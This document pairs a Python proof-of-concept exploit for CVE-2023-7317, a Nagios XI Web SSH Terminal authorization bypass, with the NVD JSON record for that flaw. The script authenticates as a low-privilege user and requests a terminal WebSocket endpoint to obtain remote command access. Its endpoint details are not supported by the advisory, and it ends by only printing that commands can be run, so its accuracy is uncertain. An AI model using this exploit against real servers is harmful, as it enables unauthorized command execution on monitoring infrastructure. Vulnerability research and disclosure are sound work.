CVE-2023-7317

# CVE-2023-7317 PoC - Nagios XI Web SSH Terminal Authorization Bypass # This PoC demonstrates the missing access control vulnerability import requests import json target = "http://target-nagios-xi.local" # Step 1: Authenticate with low-privilege account login_url = f"{target}/nagiosxi/api/v1/authenticate" login_data = { "username": "lowpriv_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code == 200: token = response.json().get("token") print(f"[+] Authentication successful, token: {token}") # Step 2: Exploit the missing access control to access Web SSH Terminal # Directly access the WebSocket terminal endpoint without proper authorization ssh_terminal_url = f"{target}/nagiosxi/api/v1/terminal/websocket" headers = { "Authorization": f"Bearer {token}", "X-Requested-With": "XMLHttpRequest" } # This request should fail for low-privilege users but succeeds due to the vulnerability exploit_response = session.get(ssh_terminal_url, headers=headers) if exploit_response.status_code == 200: connection_info = exploit_response.json() print(f"[+] VULNERABLE: Gained access to Web SSH Terminal") print(f"[+] Connection details: {json.dumps(connection_info, indent=2)}") # Step 3: Execute commands through the WebSocket connection websocket_url = connection_info.get("websocket_url") print(f"[+] WebSocket URL: {websocket_url}") print("[+] Attacker can now execute arbitrary commands on the target system") else: print(f"[-] Access denied or target not vulnerable")

{"cve": {"id": "CVE-2023-7317", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:43.630", "lastModified": "2025-11-06T16:22:37.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2024R1 contain a missing access control vulnerability via the Web SSH Terminal. A remote, low-privileged attacker could access or interact with the terminal interface without sufficient authorization, potentially allowing unauthorized command execution or disclosure of sensitive information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-web-ssh-terminal-missing-access-control", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}